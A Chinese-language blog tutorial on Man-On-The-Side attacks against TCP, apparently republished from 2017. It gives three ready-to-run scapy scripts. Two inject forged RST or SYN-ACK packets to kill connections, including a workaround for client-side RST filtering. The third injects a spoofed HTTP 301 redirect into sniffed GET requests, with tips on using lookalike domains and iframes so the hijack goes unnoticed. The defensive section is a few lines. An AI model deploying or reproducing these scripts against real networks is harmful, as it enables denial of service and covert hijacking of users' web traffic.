MOTS攻击之TCP攻击

时间:2022-04-29
本文章向大家介绍MOTS攻击之TCP攻击,主要内容包括2. DOS攻击、2.2 三次握手DOS、2.3 数据交互DOS、2.4 对抗、3. TCP劫持与欺骗、3.2 实现、3.3 对抗、基本概念、基础应用、原理机制和需要注意的事项等,并结合实例形式分析了其使用技巧,希望通过本文能帮助到大家理解应用这部分内容。

1. 概述

继续进行MOTS类型攻击方式的进展。这里再次强调一下,MOTS 是指 Man-On-The-Side,是一种在旁路监听模式下的攻击方式;和 MITM 不同,MITM 是指 Man-In-The-Middle,是中间人攻击。MOTS 其原理是监听与构造响应数据包,并在正常数据包返回之前插入伪造的数据包。其实现的核心条件是 TCP/IP 协议本身实现时并没有考虑这方面的安全问题。MOTS 实现的整体逻辑如下所示,其中 Attack 是旁路监听模式,而不是直接串在网络中的。这种类型的攻击比中间人攻击相对隐秘,其正常情况下只是监听,需要攻击时才进行攻击,并且攻击时只需要发送少量报文,不会出现大流量。所以具有隐蔽、难以发现、攻击效果明显等特点

前面已经进行了MOTS相关原理及基于UDP应用攻击的描述。不了解的可以点击文末的阅读原文查看下面两篇文章:

《MOTS攻击技术分析》

《MOTS攻击之UDP攻击》

学习过TCP/IP的同学都应该了解,传输层有两种协协议:TCP和UDP,这两种协议本身的特点决定了其应用场景的不同。TCP作为一种可靠的协议,其具有面向连接、可靠等特点。所以很多应用都基于TCP作开发,如应用最多的web应用。针对TCP的攻击这里主要介绍两种方式:DOS和劫持,其他类型的攻击,大家可以完善、补充。

2. DOS攻击

2.1 原理

大家知道,针对某一IP的特点端口进行探测其是否开放时,一般发送SYN,若其端口开放,对方回应SYN+ACK;若端口不开放,则回应reset。所以针对TCP的应用,我们进行DOS时,可以监听其SYN包,一旦有客户端发送SYN,直接给其回应reset,并且保证伪造的reset比正常的响应包早到,即可达到DOS的效果。其实现逻辑如下图所示:

2.2 三次握手DOS

要实现对TCP应用的DOS,需要按照以下几步实现:

1、构造reset报文 2、监听网络中的TCP SYN报文 3、监听到TCP SYN报文时,回应reset报文

2.2.1 安装scapy库

实现TCP的DOS攻击是通过安装python的第三方库scapy库来实现的,python本身没有这个库,需要手工安装,具体安装方法大家根据自己的系统与python版本自行安装,本人测试是使用Win10 Pro+Python3.6。python 3.6版本可以通过命令: pip install scapy来安装。

2.2.2 构造reset报文

reset报文结构相对较简单,普通的TCP报文,只是其reset和ack位置一,且ack=前一报文的seq+1。对方收到reset报文后,其TCP层立即释放TCP连接,reset报文比fin报文释放连接时效率高很多,正常的TCP关闭使用FIN时需要四个报文,而使用reset来释放的话只需要一个报文。

2.2.3 监听并攻击

攻击程序代码如下,大家可以根据实际情况修改:

coding:utf-8 ‘’’ date:2017-07-07 author:feiniao Version:1.0 ‘’’ from scapy.all import * import random ‘’’ 1、windows绑定本机网卡,首先使用show_interfaces()查看相关网卡 2、再使用conf.iface=’’绑定相应的网卡 3、linux需要在sniff()中指定相应的网卡 ‘’’ conf.iface=’Intel(R) Dual Band Wireless-AC 8260’ 随机ip字段的id和ttl ipid = random.randint(1,65535) ipttl = random.randint(45,80) tcpseq = random.randint(1,4294967295) def buying(tcpmots): resp = Ether()/IP()/TCP() 构造TCP相关字段 resp[TCP].dport = tcpmots[TCP].sport resp[TCP].sport = tcpmots[TCP].dport resp[TCP].ack = tcpmots[TCP].seq + 1 resp[TCP].flags = “RA” resp[TCP].window = 0 构造IP包头 resp[IP].src = tcpmots[IP].dst resp[IP].dst = tcpmots[IP].src resp[IP].ttl = ipttl resp[IP].id = ipid 构造以太网包头 resp[Ether].src = tcpmots[Ether].dst resp[Ether].dst = tcpmots[Ether].src 发送构造的TCP DOS 包 sendp(resp,count=1) print(“TCP DOS 攻击”,resp[IP].dst,”成功”) if name == ‘main‘: sniff(prn=buying,filter=’tcp[tcpflags]&(tcp-syn)!=0 and tcp[tcpflags]&(tcp-ack)==0’)

找到攻击程序所在的目录,直接输入python tcpsyndos.py即可。

大家攻击测试的情况可能和我一样,收到客户端的SYN包以后,明明发送了reset报文,并且对方也收到了,但是客户端就是不释放连接,并且正常的响应报文过来以后还可以正常交互。其报文交互如下所示:

通过上面的交互可以看到,192.168.0.105发送一个SYN报文,118.184.32.93首先回应了一个reset报文,其rst和ack位均置一。但是192.168.0.105并没有释放连接,然后收到118.184.32.93的syn+ack报文,反而建立成功了TCP的三次握手,后面还正常进行数据的交互。正常情况下,客户端收到reset报文时的确应该是直接释放TCP连接,但是攻击在不断进化与升级的同时,防护也同样在升级。本人测试时使用的是Windows10 Pro版本,经分析,其应该是操作系统过滤了reset报文,至少是过滤了三次握手时的reset包,所以才导致连接并没有释放并且可以正常交互。

端系统对RST报文的过滤,大家可参考:http://www.vants.org/?post=140

如果有测试时出现攻击者发送reset包的并且正常释放连接的,那么其端系统是没有过滤reset报文的,测试成功的小伙伴可以联系我,我来完善一下。

2.2.4 攻击对抗

既然客户端过滤了reset那么,那么就没有办法针对三次握手时进行DOS了?呵呵!办法还是有很多种的,大家知道,客户端发送seq=x时,对方响应报文的ack=x+1,若ack!=x+1,那么客户端肯定会响应reset的。这样话,就有了下面第一种针对方式,改变ack的大小,只需要把上面的代码作下面的修改即可:

resp[TCP].ack = 0 //ack大小可以任意指定

resp[TCP].flags= "SA"

这样修改的话,可以达到DOS的效果,实际攻击效果如下:

2.3 数据交互DOS

这种DOS的攻击场景为数据交互时,若浏览某个页面时,传输数据时等。其只需要监听客户端的行为,并对特定的方式或内容进行DOS。

这里本人实现时,只要有PUSH行为,就给DOS。代码如下:

coding:utf-8 ‘’’ date:2017-07-11 author:feiniao Version:1.0 ‘’’ from scapy.all import * import random ‘’’ 1、windows绑定本机网卡,首先使用show_interfaces()查看相关网卡 2、再使用conf.iface=’’绑定相应的网卡 3、linux需要在sniff()中指定相应的网卡 ‘’’ conf.iface=’Intel(R) Dual Band Wireless-AC 8260’ 随机ip字段的id和ttl ipid = random.randint(1,65535) ipttl = random.randint(45,80) tcpseq = random.randint(1,4294967295) def buying(tcpmots): resp = Ether()/IP()/TCP() 构造TCP相关字段 resp[TCP].dport = tcpmots[TCP].sport resp[TCP].sport = tcpmots[TCP].dport resp[TCP].seq = tcpmots[TCP].ack resp[TCP].ack = tcpmots[TCP].seq + len(tcpmots[TCP].load) resp[TCP].flags = “RA” resp[TCP].window = 0 构造IP包头 resp[IP].src = tcpmots[IP].dst resp[IP].dst = tcpmots[IP].src resp[IP].ttl = ipttl resp[IP].id = ipid 构造以太网包头 resp[Ether].src = tcpmots[Ether].dst resp[Ether].dst = tcpmots[Ether].src 发送构造的TCP DOS 包 sendp(resp,count=1) print(“TCP DOS 攻击”,resp[IP].dst,”成功”) if name == ‘main‘: sniff(prn=buying,filter=’tcp[tcpflags]&(tcp-push)!=0 and dst host 118.184.32.93’)

测试时,发现客户端并没有过滤PUSH数据交互时的reset报文,上面过滤了三次握手时的reset报文,可见reset报文的过滤在TCP层面可以有针对性的过滤。针对数据交互的DOS:

这里大家可以根据具体需求进行完善。

2.4 对抗

2.4.1 加密

使用VPX、代理、https等方式

2.4.2 协议优化

以下纯粹个人观点:

针对MOTS类型的 TCP DOS方式的攻击,客户端发送syn报文后,一方面可以直接过滤reset报文,另一方面收到reset或者syn+ack但是ack序号不正确的报文不立即处理,而是等一段时间(如10ms),在这段时间内若有正常的syn+ack报文过来,则正常建立连接。

3. TCP劫持与欺骗

3.1 原理

很简单,在监听到客户端发送请求时,发送一个伪造的响应,并且比正常的响应早到,这样即可达到欺骗的效果。生活中常见的如打开网页时插入尾巴、广告等方式一般情况下都是通过这种方式实现的。

3.2 实现

这里实现一个打开任意网站时,返回一个301,并跳转到freebuf的劫持。代码如下,运行很简单,

coding:utf-8 ‘’’ name:http mots attack date:2017-07-11 author:feiniao Version:1.0 ‘’’ from scapy.all import * import random ‘’’ 1、windows绑定本机网卡,首先使用show_interfaces()查看相关网卡 2、再使用conf.iface=’’绑定相应的网卡 3、linux需要在sniff()中指定相应的网卡 ‘’’ conf.iface=’Intel(R) Dual Band Wireless-AC 8260’ ipid = random.randint(1,65535) ipttl = random.randint(45,80) tcpseq = random.randint(1,4294967295)#HTTP 301 data = “HTTP/1.0 301 Moved Permanentlyrn” data += “Server: Apache/1.3.17 (Unix) PHP/4.0.4rn” data += “Location: http://www.freebuf.comrn” data += “Content-Type: text/html; charset=iso-8859-1rn” data += “Connection: closern” data += “rn” def buying(httpmots): resp = Ether()/IP()/TCP()/data 构造TCP相关字段 resp[TCP].dport = httpmots[TCP].sport resp[TCP].sport = httpmots[TCP].dport resp[TCP].seq = httpmots[TCP].ack resp[TCP].ack = httpmots[TCP].seq + len(httpmots[TCP].load) resp[TCP].flags = “A” resp[TCP].window = 12345 构造IP包头 resp[IP].src = httpmots[IP].dst resp[IP].dst = httpmots[IP].src resp[IP].ttl = ipttl resp[IP].id = ipid 构造以太网包头 resp[Ether].src = httpmots[Ether].dst resp[Ether].dst = httpmots[Ether].src 发送构造的TCP DOS 包 sendp(resp,count=1) print(“HTTP劫持”,resp[IP].src,”成功”) if name == ‘main‘: 过滤HTTP的GET请求 sniff(prn=buying,filter=’tcp[((tcp[12:1]&0xf0)>>2):4]=0x47455420 and not host 120.55.226.207’)

攻击效果如下,打开www.cisco.com,返回的是www.freebuf.com的内容。有的同学可能说这个太直观了,很容易发现,cisco和freebuf差别还是很大的,如果返回的是www.cisc0.com、 www.clsco.com、甚至前面有大牛写的“同形异义”,这种方式就不好发现了。

运营X做劫持的方法之一为:返回302,返回内容中有 iframe,通过 iframe 加载正常的页面,这样的话很就难发现了。

上面实现时花费了很长时间,一直使用 python 的 scapy_http.http 库来实现,但是在发送的时候一直报错,由于本人python 新手,最后还是通过 scapy 构造 http 的数据来实现。有通过 scapy_http.http 库实现的大牛,可以贡献一下相关代码,嘿嘿!在这里先谢过。

3.3 对抗

大家自己总结吧,我上面也写了很多。这里就不作太多描述了。